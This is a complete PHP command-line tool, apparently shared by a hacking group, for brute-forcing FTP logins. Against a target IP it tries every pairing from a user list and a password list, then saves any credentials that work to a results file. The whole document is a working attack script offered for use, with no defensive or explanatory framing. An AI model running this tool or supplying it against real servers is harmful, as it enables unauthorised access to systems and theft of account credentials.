Brute Force FTP Command Line

<?php
print_r("\r\n\r\n
[+]-------------------------------------------[+]
[+] Coder By : Lov3rDns                       [+]
[+] Title    : Brute Force FTP Command Line   [+]
[+] Group    : x3                             [+]
[+] Homepage : is-sec.com - Groupx3.org       [+]
[+] 4U : Mr.Dm4r - xSecurity - Shark Hidden   [+]
[+]-------------------------------------------[+]
[*] Usage : php {$argv[0]} IP users.txt pass.txt\r\n\r\n");
                // 0       1      2        3
@set_time_limit(0);
if(count($argv)<=3)
{
}
/* FTP */
$host = $argv[1];       // Ip Server
$username = $argv[2];  // users.txt
$password = $argv[3]; // pass.txt

$user = explode("\n", file_get_contents($username)); // explode users.txt
$pas = explode("\n", file_get_contents($password)); //  explode pass.txt

            function bruteFTP($connect,$host,$users,$pass) // function brute
             {
              /*file_put_contents("ftp.txt",);*/
            $file = @fopen("resultFTP.txt","a+"); // Creates File Name : resultFTP.txt
            $users = @trim($users);              // trim trim trim trim ,, bla bla bla ...
            $pass = @trim($pass);
            echo "[+] Target Server -> ".$host." \r\n[+] Trying Passwords..
\n";
            $connect = @ftp_connect($host) or die("Error , Banned Your IP Address");   // Check Connect FTP or die ( Banned Your Ip )
            $ftplove = @ftp_login($connect,$users,$pass);     // if File Transfer Protocol users.txt pass.txt true or false !!
            if($ftplove)
            {
            echo "[+] Username: {$users}\r\n[+] Password: {$pass}\r\n[+] Host:  {$host}
\r\n";   // echo ( True [ + ] )
            $resultFTP = "[+] Username: {$users}\r\n[+] Password: {$pass}\r\n[+] Host: {$host}\r\n";
            fwrite($file,$resultFTP); // Save the results in a file resultFTP.txt

            }else {
    echo "Password is Error !  \n
";                               // Else ,, Username or Password Is Error ~
  }
}
foreach ($user as $users)
{

  foreach ($pas as $pass)
  {
    bruteFTP($connect,$host,$users,$pass);
  }
}


print_r("\r\n\r\n
[+]-----------------------------------------------------------------[+]
                 Brute Force FTP Command Line
                       Coder By Lov3rDns
                  www.lov3rphp.wordpress.com
                             ./x3

[+]-----------------------------------------------------------------[+]
");
?>